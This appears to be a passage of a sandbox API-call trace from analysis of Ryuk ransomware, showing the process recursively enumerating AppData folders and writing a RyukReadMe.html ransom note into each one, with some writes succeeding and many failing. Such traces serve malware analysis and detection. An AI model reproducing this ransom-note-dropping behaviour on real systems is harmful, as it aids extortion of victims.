	[0217.308] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.word\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.308] GetLastError () returned 0x3
	[0217.308] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.309] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0217.309] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0217.309] SetLastError (dwErrCode=0x0) 
	[0217.309] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.309] GetLastError () returned 0x3
	[0217.309] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.309] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0217.309] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0217.309] SetLastError (dwErrCode=0x0) 
	[0217.310] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.310] GetLastError () returned 0x3
	[0217.310] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.310] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1
	[0217.310] SetLastError (dwErrCode=0x0) 
	[0217.310] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.310] GetLastError () returned 0x3
	[0217.310] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.311] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0217.311] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0217.311] SetLastError (dwErrCode=0x0) 
	[0217.311] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.311] GetLastError () returned 0x3
	[0217.311] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.311] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.311] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0
	[0217.311] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0217.312] SetLastError (dwErrCode=0x0) 
	[0217.312] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.312] GetLastError () returned 0x3
	[0217.312] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0) returned 0
	[0217.312] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.312] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1
	[0217.312] SetLastError (dwErrCode=0x0) 
	[0217.312] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0217.313] GetLastError () returned 0xb7
	[0217.313] CloseHandle (hObject=0x6c8) returned 1
	[0217.313] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0217.314] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0217.314] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0217.314] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0217.315] SetLastError (dwErrCode=0x0) 
	[0217.315] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\virtualstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0217.316] GetLastError () returned 0x0
	[0217.316] WriteFile (in: hFile=0x6c8, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0217.320] CloseHandle (hObject=0x6c8) returned 1
	[0217.320] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0
	[0217.321] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0217.321] SetLastError (dwErrCode=0x0) 
	[0217.321] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0217.321] GetLastError () returned 0xb7
	[0217.321] CloseHandle (hObject=0x4cc) returned 1
	[0217.322] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0217.322] SetLastError (dwErrCode=0x0) 
	[0217.322] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0217.322] GetLastError () returned 0xb7
	[0217.322] CloseHandle (hObject=0x4cc) returned 1
	[0217.322] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0217.323] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0217.323] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
	[0217.323] SetLastError (dwErrCode=0x0) 
	[0217.323] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0217.324] GetLastError () returned 0xb7
	[0217.324] CloseHandle (hObject=0x6c8) returned 1
	[0217.324] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0217.325] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0217.325] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0217.325] SetLastError (dwErrCode=0x0) 
	[0217.325] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0217.325] GetLastError () returned 0xb7
	[0217.325] CloseHandle (hObject=0x5c4) returned 1
	[0217.326] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0217.326] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0217.326] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1
	[0217.326] SetLastError (dwErrCode=0x0) 
	[0217.326] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0217.327] GetLastError () returned 0x0
	[0217.327] WriteFile (in: hFile=0x6d4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0217.330] CloseHandle (hObject=0x6d4) returned 1
	[0217.331] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0217.331] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
